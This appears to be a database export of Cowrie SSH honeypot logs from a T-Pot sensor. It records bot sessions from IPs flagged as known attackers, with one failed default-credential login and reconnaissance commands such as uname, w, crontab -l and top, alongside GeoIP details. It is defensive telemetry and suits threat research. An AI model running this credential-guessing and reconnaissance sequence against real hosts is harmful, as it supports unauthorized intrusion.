31679	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:21.346628+03	2021-09-20 15:00:02.486717+03	{"_id": "2wYIA3wBvYTbRNuENEWu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:21.346628Z", "@timestamp": "2021-09-20T11:47:21.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31696	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:19.751359+03	2021-09-20 15:00:02.509716+03	{"_id": "0gYIA3wBvYTbRNuELEXf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:19.751359Z", "@timestamp": "2021-09-20T11:47:19.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31680	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:21.61265+03	2021-09-20 15:00:02.487717+03	{"_id": "2AYIA3wBvYTbRNuENEWu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "107.0.200.227", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.26664185523986816, "duplicate": true, "timestamp": "2021-09-20T11:47:21.612650Z", "@timestamp": "2021-09-20T11:47:21.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31681	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:11.846012+03	2021-09-20 15:00:02.488717+03	{"_id": "nQYIA3wBvYTbRNuEEUV_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.0.200.227:57830 (192.168.176.2:22) [session: 4e9d2d017091]", "session": "4e9d2d017091", "@version": "1", "protocol": "ssh", "src_port": 57830, "dest_port": 22, "timestamp": "2021-09-20T11:47:11.846012Z", "@timestamp": "2021-09-20T11:47:11.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31682	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:12.876323+03	2021-09-20 15:00:02.490716+03	{"_id": "rAYIA3wBvYTbRNuEFUVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.0.200.227:57920 (192.168.176.2:22) [session: c38f29e71fb0]", "session": "c38f29e71fb0", "@version": "1", "protocol": "ssh", "src_port": 57920, "dest_port": 22, "timestamp": "2021-09-20T11:47:12.876323Z", "@timestamp": "2021-09-20T11:47:12.876Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31683	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:13.642044+03	2021-09-20 15:00:02.491717+03	{"_id": "qwYIA3wBvYTbRNuEFUVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "c38f29e71fb0", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:47:13.642044Z", "@timestamp": "2021-09-20T11:47:13.642Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31684	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:15.268692+03	2021-09-20 15:00:02.493718+03	{"_id": "sgYIA3wBvYTbRNuEHUU6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "107.0.200.227", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.27108311653137207, "duplicate": true, "timestamp": "2021-09-20T11:47:15.268692Z", "@timestamp": "2021-09-20T11:47:15.268Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31685	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:15.821961+03	2021-09-20 15:00:02.494716+03	{"_id": "twYIA3wBvYTbRNuEIUUk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "107.0.200.227", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2655017375946045, "duplicate": true, "timestamp": "2021-09-20T11:47:15.821961Z", "@timestamp": "2021-09-20T11:47:15.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31686	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:16.104337+03	2021-09-20 15:00:02.495718+03	{"_id": "ugYIA3wBvYTbRNuEIUUk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:16.104337Z", "@timestamp": "2021-09-20T11:47:16.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31687	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:16.102962+03	2021-09-20 15:00:02.497717+03	{"_id": "uwYIA3wBvYTbRNuEIUUl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:16.102962Z", "@timestamp": "2021-09-20T11:47:16.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31688	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:16.105078+03	2021-09-20 15:00:02.498717+03	{"_id": "vAYIA3wBvYTbRNuEIUUl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:16.105078Z", "@timestamp": "2021-09-20T11:47:16.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
31689	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:16.370039+03	2021-09-20 15:00:02.499717+03	{"_id": "vQYIA3wBvYTbRNuEIUUl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "af9c6f71fcd3bd4ef5c62f86b51c855f644f9293940c6b438c07d42e4ff1d4e1", "src_ip": "107.0.200.227", "ttylog": "log/tty/af9c6f71fcd3bd4ef5c62f86b51c855f644f9293940c6b438c07d42e4ff1d4e1", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/af9c6f71fcd3bd4ef5c62f86b51c855f644f9293940c6b438c07d42e4ff1d4e1 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2671546936035156, "duplicate": false, "timestamp": "2021-09-20T11:47:16.370039Z", "@timestamp": "2021-09-20T11:47:16.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31786	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:47:54.309026+03	2021-09-20 15:00:02.621717+03	{"_id": "kAYIA3wBvYTbRNuEtUar", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "6436ece08441", "@version": "1", "timestamp": "2021-09-20T11:47:54.309026Z", "@timestamp": "2021-09-20T11:47:54.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31690	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:16.891383+03	2021-09-20 15:00:02.501717+03	{"_id": "wQYIA3wBvYTbRNuEJUUM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "b5a5b00f9f1ebb09becc736312d76c74a28ac1702845baf62bf874f1045c82ea", "src_ip": "107.0.200.227", "ttylog": "log/tty/b5a5b00f9f1ebb09becc736312d76c74a28ac1702845baf62bf874f1045c82ea", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/b5a5b00f9f1ebb09becc736312d76c74a28ac1702845baf62bf874f1045c82ea after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2665116786956787, "duplicate": false, "timestamp": "2021-09-20T11:47:16.891383Z", "@timestamp": "2021-09-20T11:47:16.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31691	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:18.177882+03	2021-09-20 15:00:02.502718+03	{"_id": "zAYIA3wBvYTbRNuEKEX2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:18.177882Z", "@timestamp": "2021-09-20T11:47:18.177Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31692	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:18.690829+03	2021-09-20 15:00:02.503717+03	{"_id": "ygYIA3wBvYTbRNuEKEX2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:18.690829Z", "@timestamp": "2021-09-20T11:47:18.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31693	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:19.751908+03	2021-09-20 15:00:02.505717+03	{"_id": "zQYIA3wBvYTbRNuELEXe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:19.751908Z", "@timestamp": "2021-09-20T11:47:19.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31694	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:19.209376+03	2021-09-20 15:00:02.506717+03	{"_id": "0AYIA3wBvYTbRNuELEXf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:19.209376Z", "@timestamp": "2021-09-20T11:47:19.209Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31695	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:19.474728+03	2021-09-20 15:00:02.507717+03	{"_id": "0QYIA3wBvYTbRNuELEXf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "107.0.200.227", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2659740447998047, "duplicate": true, "timestamp": "2021-09-20T11:47:19.474728Z", "@timestamp": "2021-09-20T11:47:19.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31697	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:20.53157+03	2021-09-20 15:00:02.510716+03	{"_id": "1AYIA3wBvYTbRNuEMEXH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "107.0.200.227", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2667577266693115, "duplicate": true, "timestamp": "2021-09-20T11:47:20.531570Z", "@timestamp": "2021-09-20T11:47:20.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31698	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:20.801398+03	2021-09-20 15:00:02.511717+03	{"_id": "3AYIA3wBvYTbRNuENEWu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:20.801398Z", "@timestamp": "2021-09-20T11:47:20.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31699	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:20.801996+03	2021-09-20 15:00:02.512717+03	{"_id": "3QYIA3wBvYTbRNuENEWu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:20.801996Z", "@timestamp": "2021-09-20T11:47:20.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
